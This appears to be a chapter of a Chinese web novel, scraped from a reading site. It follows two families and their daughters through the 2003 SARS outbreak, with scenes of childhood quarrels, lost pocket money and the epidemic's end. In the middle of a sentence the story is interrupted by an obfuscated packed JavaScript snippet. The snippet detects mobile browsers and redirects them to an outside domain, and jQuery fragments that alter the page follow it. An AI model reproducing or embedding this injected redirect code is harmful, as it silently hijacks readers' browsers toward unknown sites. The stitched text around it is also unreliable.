2003年，两家人一起过除夕。
春晚节目前，杨应芸跟白晓初商量：“好不容易今年我俩都不用值班，要不趁放假，一起带孩子们出去玩玩？”
杨应芸也正有此意，她们翻出家里一张落灰的中国地图，兴致勃勃讨论起去哪儿玩更有意思。
可惜，没过两天。
杨应芸接到院里电话，让她紧急回院，而且有一定概率会被借调出差。
归期不定。
杨应芸连忙把杨晚兮的生活用品和衣服收拾好，连人带包送到白家，白晓初特别担心：“什么情况这么着急啊？”
“去年11月还是12月那阵，我不是跟你说广东那边发现了一种很麻烦的病嘛，病征表现出来像是感冒，但是呢，就是治不好。”
“哦，有点印象……”白晓初皱眉，“那这次是一样的问题？”
“不止一样，更严重，听说那边已经大爆发了。”正说着，杨应芸包里的小灵通又响起来，她拿起看了眼，赶紧挥手，“好了好了没时间我得赶紧走了。”
“行——”白晓初对杨应芸跑远的背影扬声，“那你自己注意点——”
话还没叮嘱完，只见杨应芸去而折返。
“对，那个……白醋、板蓝根，应该是这两样，你今天有空去多买点，囤家里啊。”
后面很长一段时间，白晓初，包括驻扎市医院的杨应芸在内，都认为这场大爆发虽然凶猛，但根据过往流行病的防治经验，应该不会持续太久。
小孩子们暂时没有停课，只是需要进出家门前熏一熏白醋，再定期喝一包板蓝根。
白蔻每次趁白晓初不注意，都会剩一小口，随机拽一位姐姐的衣角，苦瓜脸求姐姐帮她喝完。
她的逻辑是这样——
她个子矮，两个姐姐都个子高，所以姐姐们要多喝一点才有用。
但她也从来不会得寸进尺，不会有人帮忙就越剩越多。
至于另外两个每天被迫多喝一口的小孩。
好几天，白虞桥都在仔细研究板蓝根的药理说明书，试图判断少一口到底有没有问题。
杨晚兮则比较无所谓，白蔻每次只剩一点塞牙缝的量，一碗都喝了还差白蔻这点么，但每次帮忙，她必定要跟白蔻微笑：“白豆豆，你今天又欠我一次哦。”
不仅如此，杨晚兮还特地拿了一个本子写“正”字，记录白蔻欠她的债。
某天她把这本子展示给白蔻看，密密麻麻的两排正字，旁边，再用红笔标了个大大的——“43！”
白蔻瞪大眼睛，双手捧嘴巴，像名画《呐喊》，下一秒，她灰溜溜侧跪在杨晚兮的房间里。
“天呐！！！我这辈子都还不清啦！！！”
到三月中旬，“SARS”四个英文字母正式出现在各大新闻里，即将参加小升初考试的白虞桥，也把它认真记在了英文单词本上。
小学开始给孩子们发放口罩，配上一天N次的消毒频率，味道臭臭的，熏得白蔻睁不开眼。
最难受的是，从幼儿园毕业又大半年过去，白蔻还没长个，小小的一只，体型居然跟幼儿园时期一样，骨架小导致脸小、耳朵也小。
她不开心跟白虞桥嘀咕。
“姐姐，都是因为口罩嘛，它上课老是掉下来，我根本没办法专心听了！”
偏偏这天白晓初厂里值班要晚回家，白虞桥拧眉，随后找出白蔻的口罩，举在妹妹脸上比对了几秒。
她垂下胳膊，对白蔻做手势：【大了，我去买，在家等我。】
白蔻见姐姐要出门，立刻拉住：“我也要去！”
【你不能去。】白虞桥解释，【车多，危险。】
“要去要去！”白蔻疯狂摇头，“你一个人更危险！妈妈说过我们要出门就必须一起出门！”
说完，白蔻细细的两条手臂直接紧抱住姐姐的腰，腿扎马步，一副“你不带我你也别想走”的气势。
没办法。
白虞桥把自己的口罩戴好，再帮白蔻的口罩绳缩短、系结，也勉强戴好。
最近的药店在两个红绿灯之外，对小孩子来说，非常远。
所以刚关上家门，白虞桥就开始紧张了。
她用力握住白蔻的小手，在白蔻疑惑出声前，先比划：【你一定要听我的话。】
白蔻立刻点头：“当然呀，我最听话了！”
一高一矮两个小孩手牵手下楼。
这片红砖楼是半包围结构，中间一个长的联排楼，两侧各一个短的联排楼。要从楼与楼之间出去，可以抄近道，经过树荫间的迷你广场。
春天的风特别轻柔，她们走出楼洞，能听见树叶被风吹得沙沙轻响。
还有，“咻——”，一颗羽毛球划破天际飞过。
白蔻忽然停住，跟白虞桥指：“姐姐！我告状！小兮姐姐又偷偷跑下来打羽毛球！”
不等白虞桥回应，穿一身白紫色运动童装的杨晚兮，将羽拍往肩膀上一靠，笔直朝白蔻走过来。
“哎、哎呀……”爱惹事但人怂的白蔻轻轻喊了声，躲到白虞桥身后，只支出一双乌溜溜的眼睛，“姐姐我害怕……”
“你害怕才怪呢！是不是又在说我坏话？”杨晚兮停在白虞桥面前，歪头瞪躲在后面的小不点。
“……”白蔻沉默两秒，讲，“杨阿姨说了最近危险让你别下楼跟别人打羽毛球，这算什么坏话嘛？”
杨晚兮：“喔，那你们两个人呢，还不是偷偷下来了？”
说到点子上，白蔻一下从白虞桥身后钻出来，叉腰，理直气壮道：“我们是要去药店买东西，像大人一样，你这就不懂了吧。”
“药店？”杨晚兮狐疑地看看白蔻，再看看白虞桥，“不可能，你们肯定要去好玩的地方。”
她捏紧羽拍，垂下胳膊，表示，“我也要跟你们去。”
从药店回家的路上，白虞桥落后两步，她听见前面两个妹妹正在PK“谁的冰淇淋更好吃”，抬手——
买完儿童口罩和妹妹们想吃的零食……
她全身上下又只剩5毛钱了。
晚上八点过，白晓初从厂里忙完回到家。
小白蔻把作业本卷成一个筒，背对她，正跟电视里的点播台一起高歌：“关于爱情过去没有异想的结局~”边唱还边扭屁股。
佩服，这小屁孩课文都背不熟还在这爱情上了？
白晓初摇摇头，眼不见为净，转头看向另一侧，白虞桥身姿挺正，坐餐桌边，在写卷子。
嗯！
还是这个宝贝乖！
白晓初当即忽视正在“发狂”的白蔻，往右边去，但当她走近，又愣了愣。
摊开的卷子上一个字都没有。
吃夜宵的时候白虞桥也有些心不在焉，每次白晓初随口问她学校里的事，她都要先睁大眼睛如被惊吓般愣两秒，再比划动作回答。
睡觉前白蔻一个人坐在卫生间洗脚，水渐渐变凉，扑通扑通脚丫荡了会儿水波，觉得腻了，想擦脚，够不着毛巾。
“妈妈！”她大喊。
没人理。
“姐姐！”
也没人理。
白蔻烦恼了好一会儿，最终在被困在卫生间和被批评两个选项中，选择了后者。
她光脚湿漉漉地踩在瓷砖上，伸长胳膊取下毛巾，又淌着潮湿的地面回小板凳坐下，擦左脚，擦右脚。
收拾完一堆东西，白蔻还特地扛着非常重的拖把将瓷砖擦干了。
嗯~这是争取被批评时能宽大处理啦~
她一个人站在厕所门口欣赏了一会儿，觉得太干净了，总算扭身去找家里消失的两个人。
客厅没人，厨房没人，妈妈的房间没关门？
白蔻脸上忽然像做贼一样坏笑，双手捂住自己嘴巴，放轻脚步过去，她要“哇！”一声吓所有人一跳！
走近，却听见有姐姐抽噎的鼻音。
妈妈说：“乱花钱？”
白蔻表情呆愣，乱花钱？
电光火石间，她想起先前她们一起出门，自己硬要缠着姐姐给她们买零食的画面。
妈妈又问姐姐，“原来你今晚就是因为这个事情？”
“呜呜呜呜呜呜呜！”白蔻哭着冲进房间，“都是我的错！妈妈你不要怪姐姐！”
这天晚上，白蔻说什么都不要回自己房间睡，她怕妈妈趁她不注意，再去房间找姐姐麻烦。
她抱着小枕头和小被子，一脸坚毅地爬上了姐姐的床，说：“姐姐你靠墙睡，我今晚不睡，坐在这里帮你站岗！”
白虞桥问：【你不困吗？】
白蔻骄傲道：“任务在身！完全不困！”
大约不到半小时。
白蔻四仰八叉占据了她姐姐的这张床，呼呼大睡中，白虞桥便把妹妹抱回枕头边，脑袋放好，被子盖平，再安静地下床去关闭房间灯。
摸黑躺下，没多久，白蔻像树袋熊一样挂在了白虞桥的身上。
亮灯的客厅里，白晓初给杨应芸打开家门，小声招呼：“快来快来，鸡汤还热乎呢。”
杨应芸黑眼圈都快要比眼眶大了，脱下外套，往厨房走：“有没有面吃，饿晕了要。”
“有，还有油渣、小白菜，我给你煮面里。”
拉上厨房门。
白晓初给杨应芸分享今天白虞桥哭了的事。
杨应芸啃黄瓜充饥：“啊？我没听错吧？你确定哭的不是白蔻或者我女儿？”
“白蔻和你女儿都不在。”白晓初说，“小月，啊不，虞桥，她今天带妹妹和你女儿一起去药店买口罩，后来又被白蔻忽悠着买了几袋零食，零花钱花光了，晚上我回家那会儿她就特别不对劲，到快要睡之前，她跑我房间——”
说到这，白晓初“噗呲”一声，“哎呀也不知道怎么回事，当时看她哭，我只想笑，你说她平日里特别像个大人，其实到头来还是个小孩子。”
“咔嚓”，杨应芸咬下倒数第二口黄瓜：“这孩子呢，过去经历的事情比较多，心里多少还是落下点阴影吧，你也别总顾着偷乐，平日里还是要多跟她单独聊聊天。”
“天地良心，不是我不想跟她聊，一个是我厂里事情太多了手语半天没学会，另一个，她快小升初了，你说让她上一天学回来还要一直写字回答我，怪累的嘛。”
“那你就叫白蔻平日里多关心关心姐姐呗，有些事小孩聊得开。”杨应芸拍拍手，“水开了水开了，请白主任给我煮面吧！”
“你又洗涮我，什么时候升职啊杨护士长？”
四月底，白蔻上午还捧着脸在英语课上打哈欠，下午就被两个姐姐来班级门口把她叫走了。
白虞桥帮白蔻提书包，杨晚兮帮白蔻戴口罩。
白蔻惊呼：“你们是要带我一起逃课吗？太酷了吧！”
当然不是逃课。
SARS愈演愈烈，全市中小学发布紧急停课通知，要从4月24日一直停到5月7日，最终复课时间待定。
市台为即将要毕业的六年级学生准备了空中课堂，全天轮播各科，还可以通过座机找值班老师答疑解惑。
为了让白虞桥能安心学习，白蔻又被送到了邻居家。
那头白虞桥坐客厅，满脸严肃，边听空中课堂的知识讲解，边往本子上落笔，记重点。
这头，白蔻邀请杨晚兮跟她一起唱《说爱你》。
杨晚兮点点头同意，但问：“伴奏呢？”
白蔻：“什么是伴奏？”
“你没跟你妈妈出去唱过歌，伴奏就是背景音乐，唱歌要跟着背景音乐唱。”
“哦，我没有背景音乐呢。”
“那我们唱什么？”
白蔻眨眨眼：“不知道，我都跟着点播台唱。”
一个月后，白虞桥学有所成。
白蔻和杨晚兮被追着跑。
“杨晚兮！！！！！！一个月600话费！！！！！！”杨应芸大喊，“你们到底在干什么！！！！！！”
其实白蔻不需要跑的，毕竟杨应芸不是她妈妈，不会揍她。
但她知道要“有难同当”，她是想牵着小兮姐姐的手一起跑，只是小兮姐姐跑太快了，能绕茶几甩她三四圈。
“妈、妈妈！我、我有钱！才600！我给你充话费嘛！”
杨应芸脸上一怔，不追了，站定，沉声道：“才600？杨晚兮你给我过来。”
杨晚兮见状，不敢再躲，她看眼旁边还不懂要发生什么的白蔻，低头，默默走到了杨应芸跟前。
杨应芸：“哪只手花的钱，伸出来。”
杨晚兮抿抿唇，先抬起右手，再抬起左手，并拢摊开：“……一起花的。”
“行，一起花的是吧，那我就一只一只打。”杨应芸先抬住女儿的左手手腕，咬牙，心一狠，重重拍下去，“啪！”
好疼！
杨晚兮瘪嘴，眼眶红了，没吭声。
倒是不远处白蔻吓得整个身体都抖了一下，她缓了好几秒，才反应过来，想往姐姐身边走。
“白蔻。”杨应芸重声，“你走一步，小兮姐姐今天就要被我多打一下。”
世界安静了几秒。
白蔻被唬到掉眼泪，摇头，使劲摇头，不敢再往前走了。
“妈妈你别凶她，这件事都是我的错……”杨晚兮也跟着哭了，呜咽，但还有空来揽责、护短。
杨应芸只觉得好气又好笑。
最后，杨晚兮的两只手都被拍红，远在千里之外的李孟君也接到电话，被杨应芸劈头盖脸骂了顿——
“李孟君！你以后少给你女儿拿钱！”
白蔻魂不附体地回到家，好死不死，空中课堂结束，白虞桥正巧切换进点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068960|179268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
播台。
女声愉快唱着：“那天起却颠覆了自己逻辑~”
刚哭完还没缓过劲的白蔻立刻捂住耳朵，彻底崩溃了。
“快关掉！呜呜呜呜呜呜！”
六月底，白虞桥考完试，拿到了市重点初中的录取通知。
白蔻和杨晚兮也返回学校，进行期末开卷考。
许是有了600块的革命情谊，近一个多月，二人再也没闹过矛盾。
白蔻似乎还有了点要把她小兮姐姐捧在手心尊敬的感觉。
一群人吃西瓜，大家把中间最甜最红的一块三角让给白蔻，白蔻转头就双手送给杨晚兮：“小兮姐姐请吃！”
在一众大人们吃惊的目光中，杨晚兮耸耸肩，说：“谢谢白蔻哦。”满意接过。
总是三天两头吵一架的妹妹们终于握手言和了。
白虞桥心里也倍感松快，她拍拍白蔻的肩，将自己这块第二甜的瓜送给白蔻。
杨晚兮见白虞桥手里没有西瓜，立马坐直，又把她手里第一甜的瓜要给白虞桥。
“……”一块好好的冰镇西瓜都要变成热西瓜了，杨应芸简直恨不得自己抢过来吃。
“你看你这眼神。”白晓初笑说，“该不会想要和一群小孩抢西瓜吧？”
“小孩怎么了？”杨应芸收回目光，“谁还不爱吃最甜的一块哦。”
说是这么说，两位妈妈却都只拿了一块边角的瓜，吃完了事，剩下的全留给孩子们了。
傍晚，她们两家人吃完饭，听新闻在说“实现确诊病例、疑似病例、既往疑似转确诊病例数均为零……”
两位忙了几个月的妈妈互看一眼，白晓初笑着问：“今晚要不要久违地去河边散个步？”
“你是我肚子里的蛔虫吗？”杨应芸夸道。
河岸边，天光伴着霞色，水波粼粼。
白虞桥落三个孩子的最右边，往前，慢慢走，眺望夕阳，神情寂寥，不知道在想什么。
白蔻走中间，身前挂有一个粉色的小翻盖手机，两个拇指长宽，不过打开看就知道，这只是一块仿手机样式的挂表，表底印有一个白色的胖胖兔图案。
作为开卷考100分的奖励，这是宝贝，白蔻怕把它弄脏，一般都不带出门。
她走几步，想起这块表，便从胸口前拿起它，翻开，左右看看，再一个人对着表盘“嘿嘿嘿”偷乐。
她左手握的壳，便顺手把张开的“手机”靠向杨晚兮耳边：“小兮姐姐，有人给你打电话哦。”
杨晚兮“哦？”一声，稍微躬身摁住：“喂？你好？请问你找谁呀？”
“哈哈哈哈，没有人哦，这是假的！”
白蔻开心地收回来，过会儿，又往右靠去白虞桥的耳朵，“姐姐！小兮姐姐找你！”
白虞桥一愣，人停下来，往左看杨晚兮，手抬起比划：【什么事？】
“嘿嘿嘿姐姐也上当啦。”白蔻垂下胳膊。
走她们后面的杨应芸环起胳膊，嘴上非常感慨地叹了下：“唉，你说我们小时候应该也有这么好的朋友吧，人都上哪儿去了呢？”
“上班去了呗。”白晓初说，“你上次不是说你有个同学去支援广东，回来了吗？”
“没，辞职，留那边了。”
“啊？”白晓初惊讶，“辞职了？”
“嗯。”杨应芸点点头，“她们那儿可不比我们啊，据说之前严重的时候能三四天不睡觉，连轴忙，回来的人跟我讲那同学当时也发高烧了，以为感染，幸好后来检查不是，退烧后当场就辞职了。”
“哦，那她怎么还留那边了呢？”
“好像是发现那边做影碟机特别赚钱吧，具体也没问。”
“哦……是吗……”白晓初缓缓应声，脸上若有所思。
次年。
白晓初从厂里辞职，租铺面，做起了VCD、DVD租赁和影碟机售卖的生意，没半年，她就赚了一小笔钱。开心，也为了赶时髦，立即给自己家还有杨应芸家都买了一部台式电脑。
不过，这两台电脑白虞桥可以用，杨晚兮可以用，白蔻暂时不行。
她怕还是二年级小学生的白蔻没自制力，不小心沉迷进去再看坏眼睛，毫不留情设置密码。
为此白蔻嘴撅得老高。
更令白蔻不开心的是，姐姐自打上初中之后就住校去了，一周才回一次家，小兮姐姐也说是因为六年级，要专心准备考试，不再天天陪她玩。
白蔻想请两个姐姐帮她说服妈妈都找不到机会。
就这么等啊盼啊，三年级的某一天，也不知道妈妈怎么突然就开窍了。
从厨房出来，对倒在沙发上看漫画的白蔻说：“电脑密码你和姐姐的生日，玩去吧。”
【119095】密码错误？
白蔻皱皱眉，想了想，倒过来先输入姐姐的：【095119】
ENTER！
电脑当的啷当开机啦！
“哇！”白蔻忍不住感叹道。
桌面壁纸是草原和蓝天白云——
不重要！
白蔻搓搓手，摁上鼠标，点击桌面上的企鹅图标。
注册□□，要起名字，白蔻理解是要敲自己的真实姓名。
两只手指在键盘上戳戳，跟看天书一样翻出了“白蔻”两个字。
确定！
然后要加好友，嗯，我想想……
白蔻纠结了，如今她三年级，两个姐姐一个初一、一个初二，都在忙着上课，肯定没有办法马上同意她的好友申请。
那就加——
【卢童童】，白蔻敲下她同桌的名字，跳转，一页列表全是各种头像的卢童童。
白蔻看得眼花缭乱。
可是她觉得自己非常聪明，因为她判断，卢童童肯定是河延市的卢童童，她选择第一个蓝发女生头像，添加好友，写：童童，我是白蔻=3=
第二天，卢童童跟白蔻“哎呀”一声，在纸上写“星の玫瑰”。
“我□□名叫这个！谁会傻到用真名当□□名呀！”
“啊？”白蔻茫然，“我的□□名就叫白蔻啊……”
这件事直到两人考入同一个初中同一个班，又当了同桌，卢童童还能跟白蔻的新朋友们津津乐道。
“我们蔻蔻全网实名制上网哦。”
白蔻：“……”
正想讲“太尴尬了求你别说了”，只见她旁边跑过一个人，大喊：“小月！”
“……？”小月？姐姐？
灵魂深处的某一段记忆突然被唤醒，白蔻下意识抬头望去。
只见栏杆前撑着一个女生，深色的秋季校服系在腰间，在白蔻疑惑的注视中，那女生转过头。
表情冷淡，鼻尖上有一颗痣。
啊。
原来是裴月。
白蔻想。